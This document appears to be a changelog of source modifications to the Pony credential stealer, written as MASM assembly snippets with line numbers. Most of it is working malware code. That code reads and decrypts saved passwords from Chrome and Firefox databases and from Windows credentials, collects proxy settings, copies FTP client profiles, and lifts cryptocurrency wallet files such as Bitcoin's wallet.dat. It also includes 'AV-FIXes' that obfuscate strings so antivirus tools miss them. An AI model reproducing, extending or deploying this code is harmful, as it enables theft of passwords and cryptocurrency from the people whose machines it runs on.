Line 11 (remove of an useless .code, and definitions added): ITEMHDR_ID equ 0beef0000h Line 109 (code addition): MODULE_BITCOIN equ 00000061h MODULE_ELECTRUM equ 00000062h MODULE_MULTIBIT equ 00000063h MODULE_FTPDISK equ 00000064h MODULE_LITECOIN equ 00000065h MODULE_NAMECOIN equ 00000066h MODULE_TERRACOIN equ 00000067h MODULE_BITCOINARMORY equ 00000068h MODULE_PPCOIN equ 00000069h MODULE_PRIMECOIN equ 0000006ah MODULE_FEATHERCOIN equ 0000006bh MODULE_NOVACOIN equ 0000006ch MODULE_FREICOIN equ 0000006dh MODULE_DEVCOIN equ 0000006eh MODULE_FRANKOCOIN equ 0000006fh MODULE_PROTOSHARES equ 00000070h MODULE_MEGACOIN equ 00000071h MODULE_QUARKCOIN equ 00000072h MODULE_WORLDCOIN equ 00000073h MODULE_INFINITECOIN equ 00000074h MODULE_IXCOIN equ 00000075h MODULE_ANONCOIN equ 00000076h MODULE_BBQCOIN equ 00000077h MODULE_DIGITALCOIN equ 00000078h MODULE_MINCOIN equ 00000079h MODULE_GOLDCOIN equ 0000007ah MODULE_YACOIN equ 0000007bh MODULE_ZETACOIN equ 0000007ch MODULE_FASTCOIN equ 0000007dh MODULE_I0COIN equ 0000007eh MODULE_TAGCOIN equ 0000007fh MODULE_BYTECOIN equ 00000080h MODULE_FLORINCOIN equ 00000081h MODULE_PHOENIXCOIN equ 00000082h MODULE_LUCKYCOIN equ 00000083h MODULE_CRAFTCOIN equ 00000084h MODULE_JUNKCOIN equ 00000085h ; collect proxy settings stored in browsers (HTTP/HTTPS password grabbing must be enabled in builder!) COLLECT_PROXY_SETTINGS equ 1 Line 198 (just a procedure rename): invoke IsDataAlreadyProcessed, map.lpMem, map.dwFileSize Line 235 (just to match the procedure rename): IsFileAlreadyProcessed proc uses ebx path Line 248 (just to match the procedure rename): invoke IsDataAlreadyProcessed, map.lpMem, map.dwFileSize Line 261 (just to match the procedure rename): IsFileAlreadyProcessed endp Line 442: ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Windows (WinInet) Proxy Settings (used for IE and Chrome based browsers) ; SFTP: not supported .data CProxySettingsRegPath db 'Software\Microsoft\Windows\CurrentVersion\Internet Settings',0 CProxySettingsRegValue db 'ProxyServer',0 .code IFDEF COLLECT_PROXY_SETTINGS GrabProxySettings proc stream, item_id LOCAL len: DWORD LOCAL mem: DWORD mov len, 0 invoke RegReadValueStr, dwCurrentUserKey, offset CProxySettingsRegPath, offset CProxySettingsRegValue, addr len .IF eax mov mem, eax invoke CommonAppendDataStr, stream, mem, item_id invoke MemFree, mem .ENDIF ret GrabProxySettings endp ENDIF Line 476 (code clean-up): the .data containing this vanished: szHWIDValue db "HWID",0 szGUIDFmt db "{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}",0 win64_getnative db "GetNativeSystemInfo",0 win64_kernel db "kernel32.dll",0 win64_process db "IsWow64Process",0 IsWin64 procedure vanished from the code but is called line 518 IsAdmin procedure vanished from the code but is called line 533 InstallHWIDValue procedure vanished from the code but is called line 537 Line 591 (2 comments added): ; Tested: Far Manager v3.0 build 3367 x86 ; Tested: Far Manager v3.0 build 3525 x86 Line 747 (comment added for the Windows/Total Commander proc): ; Tested: 8.01 64 bit (Release) Line 837 (code added, Windows/Total Commander proc): mov byte ptr[CWTCIni], 'w' mov byte ptr[CWTCRegPath1+9], 'G' mov byte ptr[CWTCRegPath2+9], 'G' Line 927 (comment added): ; Tested: WS_FTP Pro 12.4 Line 1123 (added definition for CuteFTP 9): CCuteFTP_RegPath7 db "Software\GlobalSCAPE\CuteFTP 9\QCToolbar",0 Line 1286 (added definition for CuteFTP 9): invoke CuteFTPProcessQuickConnections, stream, offset CCuteFTP_RegPath7 Line 1306 (no idea if it's bugfix or error in my 1.9 package) anyway this concern just a letter fix for path name in FlashFXP dirs not really a major change (if this is one) Line 1378 (code/comment addition): ; AV-FIXes mov byte ptr[CFlashFXP_RegPath1], 'S' mov byte ptr[CFlashFXP_RegPath2], 'S' mov byte ptr[CFlashFXP_RegPath3], 'S' mov byte ptr[CFlashFXP_HistoryName+1], 'H' Line 1812 (code addition): mov byte ptr[CSmartFTPHistMask], 'H' Line 1868 (code addition): mov byte ptr[CTurboFTPDatMask], 'a' Line 3747 (comment addition): ; Tested: 16.0.1196.73 (Chrome based) Line 3767 (code addition): COperaNewAppDataDir db '\Opera Software',0 Line 4219 (procedure rename, refere to line 198): invoke IsFileAlreadyProcessed, lpFileName Line 4408 (code addition): ChromeCommonScanCustomID proto :DWORD, :DWORD, :DWORD Line 4447 (code addition): invoke ChromeCommonScanCustomID, stream, offset COperaNewAppDataDir, ITEMHDR_ID or 2 Line 4599 (comment edit): ; FTP Voyager 11.x-16.x Line 4601: (comment edit): ; Tested: Version 16.1.0.0 Line 4610: (code addition): CFTPVoyagerProfileFile2 db 'FTPVoyager.ftp.backup',0 CFTPVoyagerProfileFile3 db 'FTPVoyager.ftp.old.backup',0 Line 4623 (code addition): push eax push eax invoke CommonFileScan, stream, eax, offset CFTPVoyagerProfileFile1, ITEMHDR_ID or 0 pop eax invoke CommonFileScan, stream, eax, offset CFTPVoyagerProfileFile2, ITEMHDR_ID or 0 pop eax invoke CommonFileScan, stream, eax, offset CFTPVoyagerProfileFile3, ITEMHDR_ID or 0 Line 4703 (code delete): szSQLite3Imports vanished Line 4726 (code delete): szSQLiteMozillaQuery vanished Line 4737: (code added): IFDEF COLLECT_PROXY_SETTINGS szMozillaProxy db 'moz-proxy://',0 ENDIF Line 4896 (code deletion/addition): MozillaReadSQLColData whole procedure replaced by: ProcessMozillaSQLiteFile proto :DWORD, :DWORD, :DWORD Line 4898 (code deletion): Removed into the MozillaReadSQLFile proc the DWORD definitions line 4904 (procedure rename, refere to line 198): invoke IsFileAlreadyProcessed, szSQLFile Line 4915 (comment added/code deleted) ; Process SQLite3 database using tiny db engine LoadDllImports vanished replaced by: invoke ProcessMozillaSQLiteFile, stream, szSQLFile, ITEMHDR_ID or 0 Line 4917 (additional code remove about the sqlite3 db) Line 4967 (procedure rename, refere to line 198): invoke IsFileAlreadyProcessed, szSignonsFile Line 5071 (code addition): IFDEF COLLECT_PROXY_SETTINGS .IF eax invoke lstrlen, offset szMozillaProxy invoke StrCmpNI, host_line, offset szMozillaProxy, eax .ENDIF Line 5212 (code addition): IFDEF COLLECT_PROXY_SETTINGS invoke StrStrI, ininame, offset szMozillaPrefsJS .IF eax invoke PonyStrCat, dir, offset szSlash invoke PonyStrCatFreeArg1, eax, ininame push eax invoke CommonAppendFile, stream, eax, ITEMHDR_ID or 1 call MemFree .ENDIF ENDIF Line 61008 (procedure added): PSExportAUser proc dwType, lpName, lpUser, pData, pDataLen, stream invoke StreamWriteDWORD, stream, dwType invoke lstrlenA, lpName inc eax ; NULL invoke StreamWriteBinaryString, stream, lpName, eax invoke StreamWriteBinaryString, stream, pData, pDataLen invoke lstrlenA, lpUser inc eax ; NULL invoke StreamWriteBinaryString, stream, lpUser, eax ret PSExportAUser endp Line 6418 (code addition): szIE7CredAll db '*',0 Line 6420 (code addition): szIE7Comment db 'SspiPfc',0 Line 6498 (code addition): IFDEF COLLECT_PROXY_SETTINGS .IF MyCredFree && MyCredEnumerate && MyCryptUnprotectData mov pCred, NULL mov Count, 0 lea eax, pCred push eax lea eax, Count push eax push 0 push offset szIE7CredAll call MyCredEnumerate .IF eax && Count && pCred mov esi, pCred .WHILE Count && dword ptr[esi] push esi mov esi, dword ptr[esi] invoke lstrcmpi, dword ptr[esi].CREDENTIAL._Comment, offset szIE7Comment .IF !eax m2m InBlob.cbData, dword ptr[esi].CREDENTIAL.CredentialBlobSize m2m InBlob.pbData, dword ptr[esi].CREDENTIAL.CredentialBlob .IF InBlob.cbData invoke PSExportAUser, ITEMHDR_ID or 6, [esi].CREDENTIAL.TargetName, [esi].CREDENTIAL.UserName, InBlob.pbData, InBlob.cbData, stream invoke LocalFree, OutBlob.pbData .ENDIF .ENDIF pop esi dec Count add esi, 4 .ENDW push pCred call MyCredFree .ENDIF .ENDIF ENDIF Line 6547 (code addition): IFDEF COLLECT_PROXY_SETTINGS invoke GrabProxySettings, stream, ITEMHDR_ID or 5 ENDIF Line 6929 (code addition): ELSEIFDEF COMPILE_MODULE_OPERA COMPILE_CHROMIUM_CODE equ 1 Line 6934 code addition): COMPILE_SQLITE3_CODE equ 1 ELSEIFDEF COMPILE_MOZILLA_CODE COMPILE_SQLITE3_CODE equ 1 ENDIF IFDEF COMPILE_SQLITE3_CODE ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Line 6945 (code addition): CChromeWebData db 'Web Data',0 CChromeLoginData db 'Login Data',0 Line 6953 (code deletion): deleted some datas related to chrome (szChromeLoginTable, szChromeActionURL, szChromePassValue, [...] szChromeHTTPS Line 6956 (code deletion): dwChromeActionURL, dwChromePassValue, dwChromeUserValue Line 7163 (line replace): mov eax, TRUE -> invoke SQLiteBuildDataRecord, NULL, 0, SQLITE_DATATYPE_OTHER, lpDataOut Line 7229 (comment edition): ; Get data length & pointer for a single cell from 1-dim record array Line 7378 (code edition): added 'item_id' into the SQLiteReadPage proc Line 7488 (code edition): Same edition as line 7378. Line 7578 (code addition): push item_id Line 7596 (code deletion): Process SQL column definitions Line 7598 (code edition): added callback_func to SQLiteProcessSQL procedure Line 7608 (instruction added): cld Line 7665 (comment edition): ; Replace double space chars to single space chars (' ' -> ' ') Line 7681 (comment edition): ; Process column definitions one by one Line 7688 (code edition): replaced invoke SQLiteProcessCol by: push nCol push esi call callback_func Line 7700 (code edition): same edition as line 7688. Line 7707 (code addition): ProcessSQLiteStream proc stream, target_stream, item_id, callback_func LOCAL header[16]: BYTE LOCAL dwStatusCode: DWORD ; Read database header invoke StreamGotoBegin, stream invoke StreamRead, stream, addr header, sizeof header .iF !eax ret .ENDIF invoke CompareMem, addr header, offset szSQLite3Header, sizeof header .IF !eax ret .ENDIF mov dwStatusCode, TRUE invoke Stream_SafeReadWORD, stream, addr dwStatusCode .IF !eax || !dwStatusCode sub eax, eax ret .ENDIF ; Validate page size push eax sub ecx, ecx .WHILE eax shr eax, 1 .IF CARRY? inc ecx .ENDIF .ENDW pop eax .IF eax == 1 mov eax, 65536 .ENDIF ; Page size must be power of 2 .IF ecx != 1 sub eax, eax ret .ENDIF mov dwSQLitePageSize, eax ; File format write version invoke Stream_SafeReadByte, stream, addr dwStatusCode .IF ((eax != 1) && (eax != 2)) || ! dwStatusCode sub eax, eax ret .ENDIF ; File format read version invoke Stream_SafeReadByte, stream, addr dwStatusCode .IF ((eax != 1) && (eax != 2)) || ! dwStatusCode sub eax, eax ret .ENDIF ; Reserved bytes invoke Stream_SafeReadByte, stream, addr dwStatusCode .IF eax != 0 || ! dwStatusCode sub eax, eax ret .ENDIF ; Maximum embedded payload fraction invoke Stream_SafeReadByte, stream, addr dwStatusCode .IF eax != 64 || ! dwStatusCode sub eax, eax ret .ENDIF ; Minimum embedded payload fraction invoke Stream_SafeReadByte, stream, addr dwStatusCode .IF eax != 32 || ! dwStatusCode sub eax, eax ret .ENDIF ; Leaf payload fraction invoke Stream_SafeReadByte, stream, addr dwStatusCode .IF eax != 32 || ! dwStatusCode sub eax, eax ret .ENDIF invoke Stream_SafeReadSkip, stream, 4*8, addr dwStatusCode ; Database text encoding invoke Stream_SafeReadDWORD, stream, addr dwStatusCode .IF (eax < 1) || (eax > 3) || (!dwStatusCode) sub eax, eax ret .ENDIF mov dwSQLiteEncoding, eax invoke Stream_SafeReadSkip, stream, 40, addr dwStatusCode ; Start database processing from page 1 invoke SQLiteReadPage, stream, target_stream, 1, addr dwStatusCode, item_id, callback_func ret ProcessSQLiteStream endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Common chromium decryption IFDEF COMPILE_CHROMIUM_CODE .data CChromeWebData db 'Web Data',0 CChromeLoginData db 'Login Data',0 szChromeLoginTable db 'logins',0 szChromeActionURL db 'origin_url',0 szChromePassValue db 'password_value',0 szChromeUserValue db 'username_value',0 szChromeFTP db 'ftp://',0 IFDEF GRAB_HTTP szChromeHTTP db 'http://',0 szChromeHTTPS db 'https://',0 ENDIF .data? dwChromeActionURLIndex dd ? dwChromePassValueIndex dd ? dwChromeUserValueIndex dd ? .code ; Process SQL column definition SQLiteProcessChromeColDef proc uses edi column_definition, column_index invoke Trim, column_definition invoke StrStrI, column_definition, offset szSQLiteSpaceChar .IF !eax ret .ENDIF mov byte ptr[eax], 0 invoke Trim, column_definition mov edi, offset szSQLiteStopWords @@: invoke lstrcmpi, edi, column_definition .IF !eax ret .ENDIF @Next @B invoke lstrlen, column_definition .IF !eax ret .ENDIF invoke lstrcmpi, column_definition, offset szChromeActionURL .IF !eax m2m dwChromeActionURLIndex, column_index .ENDIF invoke lstrcmpi, column_definition, offset szChromePassValue .IF !eax m2m dwChromePassValueIndex, column_index .ENDIF invoke lstrcmpi, column_definition, offset szChromeUserValue .IF !eax m2m dwChromeUserValueIndex, column_index .ENDIF mov eax, TRUE ret SQLiteProcessChromeColDef endp ; Process chrome password data row SQLiteProcessChromeDataTable proc uses esi edi stream, target_stream, row_array, cell_count, item_id Line: 7904 (line edition): dwChromeActionURL -> dwChromeActionURLIndex dwChromePassValue -> dwChromePassValueIndex dwChromeUserValue -> dwChromeUserValueIndex Line 7906 (line edition): dwChromeActionURL -> dwChromeActionURLIndex Line 7907 (line edition): dwChromePassValue -> dwChromePassValueIndex Line 7908 (line edition): dwChromeUserValue -> dwChromeUserValueIndex Line 7960 (line edition): ITEMHDR_ID or 0 -> item_id Line 7974 (line edition): SQLiteProcessDataTable endp -> SQLiteProcessChromeDataTable endp Line 7985 (line edition): SQLiteProcessSchemaTable -> SQLiteProcessChromeSchemaTable Line 8011 code edition): mov dwChromeActionURL, -1 -> mov dwChromeActionURLIndex, -1 Line 8012 code edition): mov dwChromePassValue, -1 -> mov dwChromePassValueIndex, -1 Line 8013 code edition): mov dwChromeUserValue, -1 -> mov dwChromeUserValueIndex, -1 Line 8015 (line edition): invoke SQLiteProcessSQL, cell_data, offset SQLiteProcessChromeColDef Line 8018 (code edition): .IF (dwChromeActionURLIndex != -1) && (dwChromePassValueIndex != -1) && (dwChromeUserValueIndex != -1) Line 8019 (code edition): invoke SQLiteReadPage, stream, target_stream, root_page, addr dwStatusCode, item_id, offset SQLiteProcessChromeDataTable Line 8029 (procedure rename): SQLiteProcessChromeSchemaTable endp Line 8031 (procedure modification): ProcessChromeSQLiteFile proc target_stream, szSQLFileName, item_id LOCAL stream: DWORD invoke StreamCreate, addr stream invoke StreamLoadFromFile, szSQLFileName, stream .IF eax invoke ProcessSQLiteStream, stream, target_stream, item_id, offset SQLiteProcessChromeSchemaTable .IF !eax ; Error occured while processing ".sqlite" file ; Send ".sqlite" file for debugging ;invoke CommonAppendFileForceDupe, target_stream, lpFileName, ITEMHDR_ID or 1000h .ENDIF Line 8029 (just a renamed of the end of the proc.): SQLiteProcessChromeSchemaTable endp Line 8031 (rewrote of the proc): ProcessChromeSQLiteFile proc target_stream, szSQLFileName, item_id LOCAL stream: DWORD invoke StreamCreate, addr stream invoke StreamLoadFromFile, szSQLFileName, stream .IF eax invoke ProcessSQLiteStream, stream, target_stream, item_id, offset SQLiteProcessChromeSchemaTable .IF !eax ; Error occured while processing ".sqlite" file ; Send ".sqlite" file for debugging ;invoke CommonAppendFileForceDupe, target_stream, lpFileName, ITEMHDR_ID or 1000h .ENDIF Line 8044 (code addition): invoke StreamFree, stream Line 8046 (proc code addition): ret ProcessChromeSQLiteFile endp ChromeAppDataCommonSingleFileScan proc stream, csidl, appdata_dir, config_file, item_id invoke SHGetFolderPathStr, csidl .IF eax invoke PonyStrCatFreeArg1, eax, appdata_dir push eax invoke CommonFileScanCallback, stream, eax, config_file, item_id, offset ProcessChromeSQLiteFile call MemFree Line 8057 (code addition): ret ChromeAppDataCommonSingleFileScan endp Line 8060 (proc code addition): ChromeCommonScanCustomID proc stream, base_appdata_dir, id invoke ChromeAppDataCommonSingleFileScan, stream, CSIDL_APPDATA, base_appdata_dir, offset CChromeWebData, id invoke ChromeAppDataCommonSingleFileScan, stream, CSIDL_APPDATA, base_appdata_dir, offset CChromeLoginData, id invoke ChromeAppDataCommonSingleFileScan, stream, CSIDL_LOCAL_APPDATA, base_appdata_dir, offset CChromeWebData, id invoke ChromeAppDataCommonSingleFileScan, stream, CSIDL_LOCAL_APPDATA, base_appdata_dir, offset CChromeLoginData, id invoke ChromeAppDataCommonSingleFileScan, stream, CSIDL_COMMON_APPDATA, base_appdata_dir, offset CChromeWebData, id invoke ChromeAppDataCommonSingleFileScan, stream, CSIDL_COMMON_APPDATA, base_appdata_dir, offset CChromeLoginData, id ret ChromeCommonScanCustomID endp ChromeCommonScan proc stream, base_appdata_dir invoke ChromeCommonScanCustomID, stream, base_appdata_dir, ITEMHDR_ID or 0 ret ChromeCommonScan endp ENDIF IFDEF COMPILE_MOZILLA_CODE ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Common Mozilla SQLite3 database decryption .data szMozillaLoginTable db 'moz_logins',0 szMozillaActionURL db 'hostname',0 szMozillaPassValue db 'encryptedPassword',0 szMozillaUserValue db 'encryptedUsername',0 .data? dwMozillaActionURLIndex dd ? dwMozillaPassValueIndex dd ? dwMozillaUserValueIndex dd ? .code ; Process SQL column definition SQLiteProcessMozillaColDef proc uses edi column_definition, column_index invoke Trim, column_definition invoke StrStrI, column_definition, offset szSQLiteSpaceChar .IF !eax Line 8102 (code addition): mov byte ptr[eax], 0 invoke Trim, column_definition Line 8105 (code addition/deletion): mov edi, offset szSQLiteStopWords @@: invoke lstrcmpi, edi, column_definition .IF !eax line 8113 (code addition/deletion): invoke lstrlen, column_definition .IF !eax Line 8118 (code addition/remove): invoke lstrcmpi, column_definition, offset szMozillaActionURL .IF !eax m2m dwMozillaActionURLIndex, column_index Line 8123 (code addition/remove): invoke lstrcmpi, column_definition, offset szMozillaPassValue .IF !eax m2m dwMozillaPassValueIndex, column_index Line 8128 (code addition/deletion): invoke lstrcmpi, column_definition, offset szMozillaUserValue .IF !eax m2m dwMozillaUserValueIndex, column_index Line 8133 (code addition/deletion): mov eax, TRUE ret SQLiteProcessMozillaColDef endp ; Process password data row SQLiteProcessMozillaDataTable proc stream, target_stream, row_array, cell_count, item_id LOCAL url_cell_len: DWORD LOCAL url_cell_type: DWORD LOCAL url_cell_data: DWORD LOCAL user_cell_len: DWORD LOCAL user_cell_type: DWORD LOCAL user_cell_data: DWORD LOCAL pass_cell_len: DWORD LOCAL pass_cell_type: DWORD LOCAL pass_cell_data: DWORD LOCAL host: DWORD LOCAL user: DWORD LOCAL pass: DWORD .IF !cell_count Line 8155 (code addition/deletion): mov eax, cell_count .IF (dwMozillaActionURLIndex < eax) && (dwMozillaPassValueIndex < eax) && (dwMozillaUserValueIndex < eax) ; Get cell values invoke SQLiteGetRecordArrayCell, row_array, dwMozillaActionURLIndex, addr url_cell_len, addr url_cell_type, addr url_cell_data invoke SQLiteGetRecordArrayCell, row_array, dwMozillaUserValueIndex, addr user_cell_len, addr user_cell_type, addr user_cell_data invoke SQLiteGetRecordArrayCell, row_array, dwMozillaPassValueIndex, addr pass_cell_len, addr pass_cell_type, addr pass_cell_data .IF url_cell_len && pass_cell_len mov edx, url_cell_len inc edx invoke MemAlloc, edx mov host, eax invoke MoveMem, url_cell_data, host, url_cell_len mov user, NULL mov pass, NULL .IF mozilla_mode == MOZILLA_MODE_FTP_HTTP invoke lstrlen, offset szMozillaFTP invoke StrCmpNI, host, offset szMozillaFTP, eax IFDEF GRAB_HTTP .IF eax invoke lstrlen, offset szMozillaHTTP invoke StrCmpNI, host, offset szMozillaHTTP, eax .ENDIF .IF eax invoke lstrlen, offset szMozillaHTTPS invoke StrCmpNI, host, offset szMozillaHTTPS, eax .ENDIF IFDEF COLLECT_PROXY_SETTINGS .IF eax invoke lstrlen, offset szMozillaProxy invoke StrCmpNI, host, offset szMozillaProxy, eax .ENDIF ENDIF ENDIF .ELSEIF mozilla_mode == MOZILLA_MODE_FIREFTP invoke lstrlen, offset szMozillaFireFTP invoke StrCmpNI, host, offset szMozillaFireFTP, eax .ELSEIF mozilla_mode == MOZILLA_MODE_EMAIL sub eax, eax ; allow all hosts .ENDIF .IF !eax ; user (can be empty for some record types) .IF user_cell_len invoke MozillaNSSDecryptPassword, user_cell_data, user_cell_len mov user, eax .ENDIF ; pass invoke MozillaNSSDecryptPassword, pass_cell_data, pass_cell_len mov pass, eax .IF host && pass ; export recovered data invoke StreamWriteDWORD, target_stream, item_id invoke StreamWriteString, target_stream, host invoke StreamWriteString, target_stream, user invoke StreamWriteString, target_stream, pass .ENDIF .ENDIF invoke MemFree, user invoke MemFree, pass invoke MemFree, host .ENDIF Line 8225 (code addition/deletion): ret SQLiteProcessMozillaDataTable endp SQLiteProcessMozillaSchemaTable proc stream, target_stream, row_array, cell_count, item_id LOCAL cell_len: DWORD LOCAL cell_type: DWORD LOCAL cell_data: DWORD LOCAL table_name: DWORD LOCAL root_page: DWORD LOCAL dwStatusCode: DWORD .IF cell_count == 5 ; Validate table column count invoke SQLiteGetRecordArrayCell, row_array, 2, addr cell_len, addr cell_type, addr cell_data .IF cell_type == SQLITE_DATATYPE_STR m2m table_name, cell_data invoke lstrcmpi, table_name, offset szMozillaLoginTable .IF !eax invoke SQLiteGetRecordArrayCell, row_array, 0, addr cell_len, addr cell_type, addr cell_data .IF cell_type == SQLITE_DATATYPE_STR invoke lstrcmp, offset szSQLite3TableType, cell_data .IF !eax invoke SQLiteGetRecordArrayCell, row_array, 3, addr cell_len, addr cell_type, addr cell_data .IF cell_type == SQLITE_DATATYPE_INT mov eax, cell_data m2m root_page, dword ptr[eax] invoke SQLiteGetRecordArrayCell, row_array, 4, addr cell_len, addr cell_type, addr cell_data .IF cell_type == SQLITE_DATATYPE_STR mov dwMozillaActionURLIndex, -1 mov dwMozillaPassValueIndex, -1 mov dwMozillaUserValueIndex, -1 invoke SQLiteProcessSQL, cell_data, offset SQLiteProcessMozillaColDef mov dwStatusCode, TRUE .IF (dwMozillaActionURLIndex != -1) && (dwMozillaPassValueIndex != -1) && (dwMozillaUserValueIndex != -1) invoke SQLiteReadPage, stream, target_stream, root_page, addr dwStatusCode, item_id, offset SQLiteProcessMozillaDataTable .ENDIF .ENDIF .ENDIF .ENDIF .ENDIF .ENDIF .ENDIF Line 8271 (code deletion): mov dwSQLiteEncoding, eax etc.... Line 8272 (code edition): SQLiteProcessMozillaSchemaTable endp Line 8272 (code edition): ProcessMozillaSQLiteFile proc target_stream, szSQLFileName, item_id Line 8280 (code addition): , item_id, offset SQLiteProcessMozillaSchemaTable Line 8290 (code edition/remove): ProcessSQLiteFile endp -> ProcessMozillaSQLiteFile endp ChromeAppDataCommonSingleFileScan procedure deleted. Line 8299 (comment added): ; Tested: Google Chrome 29.0.1547.66 m Line 8374 (code edition): ProcessSQLiteFile -> ProcessChromeSQLiteFile Line 8375 (code edition): ProcessSQLiteFile -> ProcessChromeSQLiteFile Line 9307 (procedure rename, check Line 198): invoke IsDataAlreadyProcessed, map.lpMem, map.dwFileSize Line 10932 (code addition): mov byte ptr[CWindowsMailPasswordList+1], 'P' mov byte ptr[CWindowsMailSMTPPass+1], 'S' Line 11392 (code addition): mov byte ptr[CIncrediMailSMTPServer], 'S' mov byte ptr[CIncrediMailSMTPPort], 'S' mov byte ptr[CIncrediMailSMTPUser], 'S' mov byte ptr[CIncrediMailSMTPPass], 'S' Line 11622 (code deletion): base_path, do_decrypt <- (removed 'do_encrypt') Line 11734 (code deletion): reg_key, S, 0 <- (removed '0') Line 11959 (code addition): .IF bListEncrypted mov bListEncrypted, FALSE invoke DecipherList, offset COutlookRegValues invoke DecipherList, offset COutlookBinaryValues invoke DecipherList, offset COutlookPassValues invoke DecipherList, offset COutlookPassValues2 .ENDIF Line 12087 (code addition): ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Bitcoin ; http://bitcoin.org ; Tested: 0.8.1-beta ; SFTP: not supported IFDEF COMPILE_MODULE_BITCOIN .data CBitconWalletFile db 'wallet.dat',0 CBitcoinAppDataDir db '\Bitcoin',0 .code GrabBitcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_BITCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CBitcoinAppDataDir, offset CBitconWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabBitcoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Electrum ; http://electrum.org/ ; Tested: 1.7.3 ; SFTP: not supported IFDEF COMPILE_MODULE_ELECTRUM .data CElectrumWalletFile db 'electrum.dat',0 CElectrumAppDataDir db '\Electrum',0 .code GrabElectrum proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_ELECTRUM, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CElectrumAppDataDir, offset CElectrumWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabElectrum endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; MultiBit ; http://multibit.org ; Tested: 0.5.9 ; SFTP: not supported IFDEF COMPILE_MODULE_ELECTRUM .data CMultiBitWalletFile db '.wallet',0 CMultiBitAppDataDir db '\MultiBit',0 .code GrabMultiBit proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_MULTIBIT, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CMultiBitAppDataDir, offset CMultiBitWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabMultiBit endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; FTP Disk ; Tested: ver 1.2 ; SFTP: implemented IFDEF COMPILE_MODULE_FTPDISK .data CFTPDiskAccountsFile db 'Accounts.ini',0 CFTPDiskAppDataDir db '\Maxprog\FTP Disk',0 .code GrabFTPDisk proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FTPDISK, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CFTPDiskAppDataDir, offset CFTPDiskAccountsFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFTPDisk endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Litecoin ; https://litecoin.org/ ; Tested: v0.8.5.1-beta ; SFTP: not supported IFDEF COMPILE_MODULE_LITECOIN .data CLitecoinWalletFile db 'wallet.dat',0 CLitecoinAppDataDir db '\Litecoin',0 .code GrabLitecoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_LITECOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CLitecoinAppDataDir, offset CLitecoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabLitecoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Namecoin ; http://namecoin.info/ ; Tested: 0.3.72 ; SFTP: not supported IFDEF COMPILE_MODULE_LITECOIN .data CNamecoinWalletFile db 'wallet.dat',0 CNamecoinAppDataDir db '\Namecoin',0 .code GrabNamecoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_NAMECOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CNamecoinAppDataDir, offset CNamecoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabNamecoin endp ENDIF ; 